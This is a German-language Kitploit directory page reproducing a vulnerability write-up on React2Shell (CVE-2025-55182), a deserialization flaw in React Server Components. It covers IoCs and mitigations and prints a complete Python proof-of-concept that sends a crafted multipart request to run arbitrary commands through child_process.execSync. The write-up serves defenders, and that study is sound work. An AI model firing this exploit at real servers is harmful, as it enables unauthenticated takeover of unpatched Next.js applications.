Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web — React2Shell, CVE-2025-55182, RCE Vulnerability: Eine kritische Analyse des unsicheren Deserialisierungsfehlers in React Server Components, der eine nicht authentifizierte Remote-Code-Ausführung in Standard-React/Next.js-Umgebungen ermöglicht. | Kitploit
Tools/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web
Management von Indicators of Compromise (IOC)SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsBedrohungsanalysePapers & ForschungLernen & Bildung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Incident Response
Payload-Entwicklung
GitHubadityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell, CVE-2025-55182, RCE Vulnerability: Eine kritische Analyse des unsicheren Deserialisierungsfehlers in React Server Components, der eine nicht authentifizierte Remote-Code-Ausführung in Standard-React/Next.js-Umgebungen ermöglicht.

Repository anzeigen
8vor 8 MonatenNoch nicht geprüft
Teilen

React2Shell (CVE-2025-55182): Der Deserialisierungsfehler, der das Web zerstörte ⚡

React2Shell, CVE-2025-55182, RCE-Schwachstelle: Eine kritische Analyse des unsicheren Deserialisierungsfehlers in React Server Components, der eine nicht authentifizierte Remote-Code-Ausführung in Standard-React/Next.js-Umgebungen ermöglicht.

⏩ TL;DR

React2Shell (CVE-2025-55182) ist eine kritische Remote Code Execution (RCE)-Schwachstelle, die React Server Components (RSC) in React 19.x und Frameworks wie Next.js betrifft. Der Fehler liegt in der unsicheren Deserialisierung von „Flight“-Protokoll-Chunks, die es Angreifern ermöglicht, bösartige Strukturen einzuschleusen, die zum Function-Konstruktor aufgelöst werden, was zur Ausführung beliebigen JavaScripts auf dem Server führt.

  • Funktioniert mit Standardkonfigurationen
  • Erfordert keine Authentifizierung
  • Nutzt normale multipart/form-data-Anfragen aus
  • Führt zur vollständigen Serverübernahme
  • Öffentlicher PoC vorhanden (unten referenziert)
  • Abhilfe: Update auf React 19.2.1+ / Next.js gepatchte Versionen

React2Shell


👋 Einleitung

React Server Components wurden eingeführt, um Client-/Server-Rendering mit einem nahtloseren, komponierbaren Workflow zu verbinden. Dazu verwendet React einen benutzerdefinierten binärartigen Serialisierungskanal namens Flight-Protokoll.

Leider enthielt die Deserialisierungslogik dieses Protokolls einen subtilen Fehler, der es Angreifern ermöglichte, bösartige Payloads tief in die React-Laufzeit einzuschleusen.

Das Ergebnis? Eine vollständige, nicht authentifizierte Remote-Code-Ausführungskette, jetzt React2Shell genannt – und ja, ihre Auswirkungen sind mit Log4Shell in Größenordnung und Zugänglichkeit vergleichbar. 🔥

Dieser Artikel erklärt die Schwachstelle in einem klaren, handlungsorientierten Format – ideal für VAPT-Praktiker, Forscher und Verteidiger.


🧠 Die Schwachstelle erklärt (React2Shell in einfachen Worten)

🧩 1. Wie das Flight-Protokoll von React funktioniert

RSC kommuniziert mit dem Client durch das Senden serialisierter „Chunks“, die Referenzen, Objekte, Komponentenmetadaten, asynchrone Grenzen usw. darstellen.

Wenn diese Chunks auf dem Server oder Client ankommen, deserialisiert React sie zurück in Objekte und Funktionen.

Dieser Prozess geht davon aus, dass die Datenstruktur sicher ist. Hier ist es kaputt gegangen.


💥 2. Der Kernfehler: Unsichere Deserialisierung → Function-Konstruktor → RCE

Angreifer fanden einen Weg, bösartige Chunks zu erstellen, die Folgendes enthalten:

  • Prototyp-Accessoren
  • Gefälschte promise-ähnliche Objekte („thenables“)
  • Schlüssel, die auf die Prototyp-Kette verweisen
  • Pfade, die letztendlich den Function-Konstruktor offenlegen

Beispielmuster:

root@kitploit:~
"$then": { "constructor": { "prototype": null } }

Während der Deserialisierung interpretiert React dieses Objekt als thenable und ruft auf:

root@kitploit:~
promise.then(...)

Aber hier ist then tatsächlich der Function-Konstruktor, sodass der Aufruf zu:

root@kitploit:~
(new Function("malicious_payload"))();

Dies führt zur Ausführung beliebigen JavaScripts in der Node.js-Umgebung, die React Server Components ausführt.

Boom – Sie haben RCE.


🚨 3. Warum ist das so gefährlich?

  • Keine Authentifizierung erforderlich
  • Funktioniert mit Standard-Next.js-Apps
  • Keine spezielle Konfiguration oder Flagge erforderlich
  • Einfache HTTP-POST-Anfrage
  • Führt zur vollständigen Kompromittierung: Dateischreibzugriff, Prozessstart, laterale Bewegung

Deshalb haben Cloud-Anbieter, Sicherheitsteams und CERTs sofort reagiert, als dies öffentlich wurde.


🚨 Indikatoren für eine Kompromittierung (IoCs)

📡 Netzwerk-IoCs

  • Multipart-POST-Anfragen an:

    • /react
    • /rsc
    • /server, /flight, /server-actions
  • Payloads mit Schlüsseln wie:

    • $then
    • $proto
    • $constructor
    • $type

🖥️ Host-Ebene IoCs

  • Verdächtige Node.js-Ausführungen wie:

    root@kitploit:~
    node -e "<payload>"
    
  • Unerwartete Dateien unter:

    • /tmp/react-rce-*
    • /var/tmp/node-rce-*

🧭 Verhaltens-IoCs

  • Hydration-Mismatch-Logs vor Ausführungsanomalien
  • Plötzliche ausgehende Verbindungen zu verdächtigen IPs
  • Abstürze in RSC-Deserialisierungs-Handlern
  • Ungewöhnliche oder fehlerhafte Flight-Chunks, die vom Server zurückgegeben werden

🧪 PoC

⚠️ Wichtiger Hinweis
Ich besitze nicht diesen PoC.
Er wird aus dem folgenden öffentlichen Repository referenziert, mit voller Anerkennung des Autors:

👉 https://github.com/msanft/CVE-2025-55182

⚠️ Haftungsausschluss:

Der folgende Proof-of-Concept (PoC) wird ausschließlich für Bildungs- und defensive Cybersicherheitsforschung bereitgestellt.
Er darf nur in isolierten Laborumgebungen oder auf Systemen ausgeführt werden, für die Sie ausdrückliche Genehmigung zum Testen haben.

Missbrauch dieses Codes für unbefugten Zugriff, Ausbeutung oder Systemkompromittierung ist illegal, unethisch und strafbar nach Cybersicherheitsgesetzen.
Handeln Sie verantwortungsvoll. 🛡️💻

Unten ist der vollständige PoC:

root@kitploit:~
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

⚠️ Haftungsausschluss:

Falls Sie diesen PoC ausgeführt haben, stellen Sie sicher, dass dies in einer kontrollierten Sandbox und nicht auf Produktions- oder Drittressourcen geschah.

Diese Demonstration dient ausschließlich dazu, Analysten, Entwicklern und Verteidigern zu helfen, CVE-2025-55182 (React2Shell) zu verstehen, zu erkennen und zu entschärfen.
Jede böswillige oder unbefugte Nutzung dieser Informationen ist strengstens untersagt und wird nicht vom Autor befürwortet.

Bleiben Sie ethisch. Bleiben Sie sicher. 🐉🔥


🛡️ Abhilfe & Verteidigungsstrategie

✅ 1. Sofort aktualisieren

  • React → 19.2.1+
  • Next.js → gepatchte Versionen von Vercel veröffentlicht
  • Andere RSC-fähige Frameworks → Hersteller-Patches einspielen

🔐 2. Kurzfristige Härtung

  • WAF-Signaturen für RSC-Deserialisierungsmuster hinzufügen
  • Verdächtige Multipart-POST-Traffic blockieren
  • Öffentlichen Zugriff auf Server-Action-Endpunkte einschränken
  • Experimentelle RSC-Funktionen deaktivieren, wenn nicht benötigt
  • Strenge Validierung eingehender Anfragen durchsetzen

🧱 3. Verteidigung in der Tiefe

  • Node.js-Laufzeit-Sandboxing verwenden
  • Ausgehende Netzwerkbeschränkungen aktivieren
  • Auf unerwartete serverseitige Codeausführung prüfen
  • Anomalieerkennung in Logs und Build-Pipelines hinzufügen

👋 Outro – Bleib neugierig, bleib sicher 🔥

React2Shell ist eine eindringliche Erinnerung daran, dass Serialisierungsebenen, so elegant sie auch sein mögen, eine der gefährlichsten Komponenten moderner Frameworks bleiben. Sobald beliebige Objekte ohne Validierung die Laufzeit berühren, wird die Kette zur RCE schmerzhaft kurz.

Danke fürs Lesen – und wie immer: Bleiben Sie ethisch beim Hacken, lernen Sie ständig weiter und lassen Sie das Feuer der Sicherheit brennen. 🔥🐉


⭐ Folge mir & vernetze dich

Wenn dir dieser Beitrag gefallen hat oder du mit meiner Cybersicherheitsforschung in Kontakt bleiben möchtest:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010


Tool herunterladen